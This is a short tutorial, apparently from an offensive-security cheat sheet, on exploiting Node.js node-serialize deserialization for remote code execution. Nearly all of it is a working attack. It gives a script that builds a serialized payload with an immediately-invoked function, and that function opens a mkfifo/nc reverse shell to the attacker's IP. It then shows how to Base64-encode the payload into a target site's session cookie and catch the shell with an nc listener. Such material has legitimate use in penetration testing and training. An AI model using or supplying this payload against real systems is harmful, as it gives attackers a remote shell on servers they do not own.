Node.js Deserialization Attack

Node.js deserialization is vulnerable to remote command executions.

1. Generate a Payload

We can use the online tools like RunKit to execute the node package.
If you want to do in your local environment, you need to install a npm package first.

mkdir test
cd test
npm install node-serialize

Next, create the payload for serialization to execute a reverse shell.
For instance, the file is named “serialize.js”.

let y = {
  rce: function() {
    require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', function(error, stdout, stderr) { console.log(stdout); });
  },
};

let serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

In the above code, change "\<local-ip>" and "\<local-port>" to match your environment.

Execute node to generate the payload.

node serialize.js

Our payload generated in terminal.
Next, we need to add IIFE brackets "()" after the function in the generated payload. By doing this, the function will invoke when the object created. For details, please see the awesome post.

The final payload is as below:

{"rce":"_$$ND_FUNC$$_function() {require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', (error, stdout, stderr) => { console.log(stdout); }); } ()"}

In addition, edit the key name (”rce”) and remove “\n” characters as you want.

Copy the above json object and encode it by Base64, then copy the encoded text.
Paste it to the Cookie value of HTTP header in target website.

Cookie: session=eyJyY2U...iAgfSJ9==

3. Execute Reverse Shell

Start a listener for reverse shell

nc -lvnp <local-port>

In target website, reload the page.
You should get a shell.